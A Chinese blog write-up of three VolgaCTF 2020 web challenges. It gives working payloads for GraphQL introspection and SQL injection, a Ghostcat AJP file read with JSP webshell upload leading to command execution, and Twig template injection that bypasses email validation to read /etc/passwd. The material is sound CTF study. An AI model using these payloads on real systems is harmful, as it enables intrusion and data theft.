🇷🇺VolgaCTF 2020 Qualifier Writeup 7 min read
本文最后更新于 250 天前,其中的信息可能已经有所发展或是发生改变。

Author:颖奇L’Amore

Blog:www.gem-love.com


WEB

Library(150pt)

We have written a pretty useful library website where you can find all our books.

Check it out at library.q.2020.volgactf.ru!

考点:GraphQL、SQLi

难度:难

这个题复现了很久,大部分时间都在查阅GraphQL的相关资料,题目本身并不是特别复杂

Recon&Fuzz

打开题目是个图书馆网站,发现可以注册,注册之后登陆,登陆上去之后只有一些书的封面,别的没了,书也点不开

首先考虑SQL注入,在登陆时候抓包,发现数据以JSON形式传给了他的API,加上一个反斜线发现了JSON报错:

这主要是因为反斜线转义了引号导致JSON格式出错,加2个反斜线就好:

可以看到出现了一个INTERNAL_ERROR,但是没有太大用处。继续fuzz,将input{}内置空,报错得到了SQL语句:

一开始以为是个SQL注入题,毕竟只有登录注册和功能,但是测试了好久都没成功,要么就是错误要么就是无回显。去看了眼wp发现根本不是这里注入

GraphQL

因为这是提交到api的,直接访问api告知:

Must provide query string.

测试发现,也可以直接GET方式进行查询,当把Query置空得到报错:

GRAPHQL_PARSE_FALED

GraphQL是Facebook公司开发的一种API查询语言,和SQL类似,他们的QL都是Query Language的意思。因为可以发现是通过api查询并且没有什么特别的认证,这意味着可以构造GraphQL查询语句来查询我们所需要的东西,或者GraphQL注入。预备知识:

GraphQL安全指北

什么是 GraphQL?

先来查询一下GraphQL的schema

{__schema{types{name}}}

上面引用的「什么是GraphQL?」文章中给出了__schema和__type的结构:

query {
  __schema {
    types {
      name
      kind
      description
      fields {
        name
      }
    }
  }
}
query {
  __schema {
    types {
      name
      kind
      description
      fields {
        name
      }
    }
  }
}

可以看到__schema{type{}}内有一个field{},尝试构造payload进行查询:

{__schema{types{name,fields{name}}}}

发现Query下有一个很有趣的东西:testGetUsersByFilter,用GraphQLmap也可以发现它

根据字面翻译可以知道它能够通过filter来获取user,说明这里进行了SQL查询,或许可以造成SQL注入,但是构造了好久的Payload也不知道怎么把它的细节读取出来,就不能知道这个Filter是干嘛的

下午在好几个群里问了一圈也没找到怎么查询的方法,自己构造了十几种查询也都失败了,后来搜了一篇wp,里面给了一个GraphQL injection相关的GitHub链接,里面给了一个dump the database schema的Payload:

fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}

查询可以得到很多东西,非常多,格式和上图一样,没缩进,看不出什么东西,所以找一个在线JSON格式化的网站美化一下,testGetUsersByFilter:

{
    "name": "testGetUsersByFilter", 
    "description": "", 
    "args": [
        {
            "name": "filter", 
            "description": "", 
            "type": {
                "kind": "INPUT_OBJECT", 
                "name": "UserFilter", 
                "ofType": null
            }, 
            "defaultValue": null
        }
    ], 
    "type": {
        "kind": "LIST", 
        "name": null, 
        "ofType": {
            "kind": "OBJECT", 
            "name": "User", 
            "ofType": null
        }
    }, 
    "isDeprecated": false, 
    "deprecationReason": null
}, 

构造一个testGetUsersByFilter的查询语句:

/api?query=query{testGetUsersByFilter(filter: {login: "y1ng" name:"y1ngaaa"}) {login}}

使用这个Payload进行查询,会因未授权而出错:

{"code":"UNAUTHENTICATED"}

但是到目前为止都没有发现有什么授权的事,唯一的可能就是没登录,所以登录一下再抓包,发现多了一个认证的HTTP头,加上就可以了

这个Payload打过去之后,被回显回来,但是没查到任何信息:

{"data":{"testGetUsersByFilter":[{"login":"y1ng"}]}}

SQL注入

经测试发现,单引号似乎会被过滤,加上单引号和不加单引号回显完全一样,改成双引号就不一样了:

query{testGetUsersByFilter(filter: {login: "y1ng\"" name:"y1ngaaa"}) {login}}

得到数据库报错:

{
    "errors": [
        {
            "message": "Database error", 
            "locations": [
                {
                    "line": 1, 
                    "column": 7
                }
            ], 
            "path": [
                "testGetUsersByFilter"
            ], 
            "extensions": {
                "code": "INTERNAL_SERVER_ERROR"
            }
        }
    ], 
    "data": {
        "testGetUsersByFilter": null
    }
}

似乎可以构造注入,但是联合查询失败了:

query{testGetUsersByFilter(filter: {login: "y1ng" name:"y1ngaaa\" union select * from users -- "}) {login}}

回显完全没变。

但是,当使用双引号将前面的引号转义,和后面的引号闭合时候,后面用户输入的语句就逃逸出来构成SQL注入了,这里的原理可以参考前两天刚刚考过的BJDCTF 2nd – GirlfriendInjection简单注入

构造联合查询,注入成功:

query{testGetUsersByFilter(filter: {login: "y1ng\\" name:" union select * from users -- "}) {login}}

这意味着flag离我们不远了,后面就是常用SQL注入套路

先测试发现有6列,输出了第二个Column:

query{testGetUsersByFilter(filter: {login: "y1ng\\" name:" union select 1,2,3,4,5,6 -- "}) {login}}
{"data":{"testGetUsersByFilter":[{"login":"2"}]}}

后面就直接用Hackbar的SQL注入功能一把梭了

表名:

api?query=query{testGetUsersByFilter(filter: {login: "y1ng\\" name:" union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() -- "}) {login}}
{"data":{"testGetUsersByFilter":[{"login":"books,flag,users"}]}}

字段名时候出错了:

{"errors":[{"message":"Database error","locations":[{"line":1,"column":7}],"path":["testGetUsersByFilter"],"extensions":{"code":"INTERNAL_SERVER_ERROR"}}],"data":{"testGetUsersByFilter":null}}

不过因为表明是flag,盲猜column也叫flag,直接查flag:

query{testGetUsersByFilter(filter: {login: "y1ng\\" name:" union select flag,flag,flag,flag,flag,flag from flag -- "}) {login}}
{"data":{"testGetUsersByFilter":[{"login":"VolgaCTF{EassY_GgraPhQl_T@@Sk_ek3k12kckgkdak}"}]}}

得到flag:VolgaCTF{EassY_GgraPhQl_T@@Sk_ek3k12kckgkdak}


NetCorp(100pt)

考点:Tomcat幽灵猫文件包含、JAVA反编译、JAVA代码审计

难度:较难

Another telecom provider. Hope these guys prepared well enough for the network load…

netcorp.q.2020.volgactf.ru

这是web里分值最低也是solved数最多的一个题,正好刚刚WUST-CTF的easyweb刚考过这个漏洞,PoC都可以直接用,套路差别不大,但是难度比WUST的简单的多,因为漏洞是同一个漏洞,漏洞利用时候都差不多,本题目的难点在于前期部分。

Recon

打开之后是个静态网页,啥也没有

用插件除了GoogleFrontAPI外啥也没识别出来,对于这种啥也没有的题目,直接上扫描器

最开始用ctf-wscan,没扫出来东西,后来用御剑加载了个大字典,扫出来一个docs

首先得知使用了Tomcat,然后看下AJP的端口发现也是开的:

幽灵猫文件读取

还扫出了uploads目录,存在上传。考虑是幽灵猫,但是和武科那个比赛不一样的是这个题没有上传点(至少现在还没找到上传点)不能直接上传木马然后包含,所以先看下web.xml

python3 ajpshooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /WEB-INF/web.xml read
<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
  <display-name>NetCorp</display-name>
  <servlet>
  	<servlet-name>ServeScreenshot</servlet-name>
  	<display-name>ServeScreenshot</display-name>
  	<servlet-class>ru.volgactf.netcorp.ServeScreenshotServlet</servlet-class>
  </servlet>
  <servlet-mapping>
  	<servlet-name>ServeScreenshot</servlet-name>
  	<url-pattern>/ServeScreenshot</url-pattern>
  </servlet-mapping>
	<servlet>
		<servlet-name>ServeComplaint</servlet-name>
		<display-name>ServeComplaint</display-name>
		<description>Complaint info</description>
		<servlet-class>ru.volgactf.netcorp.ServeComplaintServlet</servlet-class>
	</servlet>
	<servlet-mapping>
		<servlet-name>ServeComplaint</servlet-name>
		<url-pattern>/ServeComplaint</url-pattern>
	</servlet-mapping>
	<error-page>
		<error-code>404</error-code>
		<location>/404.html</location>
	</error-page>
</web-app>

根据这个web.xml我们可以得知:

  • 有ServeScreenshot和ServComplaint两个Java Servlet
  • 他们映射到的url

另外,根据<servlet-class>我们可以推测出他的class的路径,加上根据基础知识可知Java web的类文件在WEB-INF/classe目录下,这样就得到了这两个servlet class的路径,ajpshooter读一下:

/WEB-INF/classes/ru/volgactf/netcorp/ServeScreenshotServlet.class

/WEB-INF/classes/ru/volgactf/netcorp/ServeComplaintServlet.class

但是读出来是这样的:

这什么都看不懂,查了下wp发现这个读的是二进制形式读,可以写个Python脚本恢复:

#https://ctftime.org/writeup/19248
def create_class_file(filename, content):
    class_file = open(filename + ".class", "wb")
    class_file.write(content)

也可以直接在ajpshooter.py后面加上-o xxx.class输出到class文件,很明显这种方法比较方便

JAVA反编译

反编译class到java源代码很方便,我比较喜欢用JD-GUI,直接打开class就可以得到源代码

public class ServeScreenshotServlet extends HttpServlet
{
  private static final String SAVE_DIR = "uploads";
  public ServeScreenshotServlet() { System.out.println("ServeScreenshotServlet Constructor called!"); }
  public void init(ServletConfig config) throws ServletException { System.out.println("ServeScreenshotServlet \"Init\" method called"); }
  public void destroy() { System.out.println("ServeScreenshotServlet \"Destroy\" method called"); }
  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String appPath = request.getServletContext().getRealPath("");
    String savePath = appPath + "uploads";
    File fileSaveDir = new File(savePath);
    if (!fileSaveDir.exists()) {
      fileSaveDir.mkdir();
    }
    String submut = request.getParameter("submit");
    if (submut == null || !submut.equals("true"));
    for (Part part : request.getParts()) {
      String fileName = extractFileName(part);
      
      fileName = (new File(fileName)).getName();
      String hashedFileName = generateFileName(fileName);
      String path = savePath + File.separator + hashedFileName;
      if (path.equals("Error"))
        continue; 
      part.write(path);
    } 
    
    PrintWriter out = response.getWriter();
    response.setContentType("application/json");
    response.setCharacterEncoding("UTF-8");
    out.print(String.format("{'success':'%s'}", new Object[] { "true" }));
    out.flush();
  }

  private String generateFileName(String fileName) {
    try {
      MessageDigest md = MessageDigest.getInstance("MD5");
      md.update(fileName.getBytes());
      byte[] digest = md.digest();
      String s2 = (new BigInteger(1, digest)).toString(16);
      StringBuilder sb = new StringBuilder(32);
      for (int i = 0, count = 32 - s2.length(); i < count; i++) {
        sb.append("0");
      }
      return sb.append(s2).toString();
    }
    catch (NoSuchAlgorithmException e) {
      e.printStackTrace();
      return "Error";
    } 
  }

  private String extractFileName(Part part) {
    String contentDisp = part.getHeader("content-disposition");
    String[] items = contentDisp.split(";");
    for (String s : items) {
      if (s.trim().startsWith("filename")) {
        return s.substring(s.indexOf("=") + 2, s.length() - 1);
      }
    } 
    return "";
  }
}

可以看到这个ServeScreenshot提供了上传功能,文件保存在uploads目录下,并且文件名是这个文件的文件名的md5。所以我们只要通过它来传马再幽灵猫包含即可RCE

幽灵猫包含

写个表单来上传jsp的webshell:

<form action="http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot" method="post" enctype="multipart/form-data">
    <input type="file" name="filename">
    <input type="submit" value="提交上传">
</form>

上传成功会提示success

根据代码,我们再计算一下文件名的md5,就能得到他的路径了

然后用幽灵猫去包含即可执行,和武科的一样,弹shell失败了,但是只要手工修改里面要执行的命令,先ls找到flag在flag.txt然后直接cat flag.txt即可

flag:VolgaCTF{qualification_unites_and_real_awesome_nothing_though_i_need_else}


Newsletter(200pt)

考点:Twig模板注入、自建SMTP

难度:中等

Subscribe to our newsletter!

代码审计

这个题打开之后是个输入邮箱来订阅的界面

给了源码

<?php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Mime\Email;

class MainController extends AbstractController
{
    public function index(Request $request)
    {
      return $this->render('main.twig');
    }
    public function subscribe(Request $request, MailerInterface $mailer)
    {
      $msg = '';
      $email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
      if($email !== FALSE) {
        $name = substr($email, 0, strpos($email, '@'));
        $content = $this->get('twig')->createTemplate(
          "<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
        )->render();
        $mail = (new Email())->from([email protected]')->to($email)->subject('VolgaCTF Newsletter')->html($content);
        $mailer->send($mail);
        $msg = 'Success';
      } else {
        $msg = 'Invalid email';
      }
      return $this->render('main.twig', ['msg' => $msg]);
    }
    public function source()
    {
        return new Response('<pre>'.htmlspecialchars(file_get_contents(__FILE__)).'</pre>');
    }
}

可以看到用了Twig,基本可以肯定是个SSTI的题目。

题目首先对email进行了filter_var()验证:

$email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);

[email protected]模板:

$name = substr($email, 0, strpos($email, '@'));
$content = $this->get('twig')->createTemplate(
  "<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
)->render();

之后会发邮件:

$mail = (new Email())->from([email protected]')->to($email)->subject('VolgaCTF Newsletter')->html($content);
$mailer->send($mail);		

因为他是把结果发送到你的邮件,而不是直接输出,正常注册邮箱是不能带上那些特殊符号的,所以需要我们自己搭建一个SMTP服务器。这个有很多,现成的Dockerfile直接build,端口一定要映射到25,我自己已经搭好了,就不过多介绍了

模板注入

提交的时候不能有非法字符

是前端验证的,用burp抓包即可。虽然邮件使用了filter_vars()验证,但是很容易绕过。

先进行一个简单的测试

[email protected]

然后检查一下收到的邮件,发现7*7被成功运算:

PayloadsAllTheThing里找个Twig文件读取的Payload,可以发现直接就有现成的绕过FILTER_VALIDATE_EMAIL的Payload来文件读取或者RCE:

基本都能用,burp提交:

email="{{'/etc/passwd'|file_excerpt(1,30)}}"@y1ng.vip

 

检查邮箱,得到flag:

flag:VolgaCTF{6751602deea2a308ab611eeef7a4e961}


References 

https://spotless.tech/volgactf-2020-qualifier-Library.html

https://nosecurity.blog/volgaCTF2020

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection

https://www.zhihu.com/question/264629587

https://github.com/r00tstici/writeups/tree/master/VolgaCTF_2020/netcorp

https:[email protected]/volgactf-qualifier-netcorp-2eb072e4d314

https://blog.blackfan.ru/2020/03/volgactf-2020-qualifier-writeup.html

https://spotless.tech/volgactf-2020-qualifier-newsletter.html

https://ctftime.org/writeup/19230

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2198.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

暂无评论

发送评论 编辑评论

上一篇
下一篇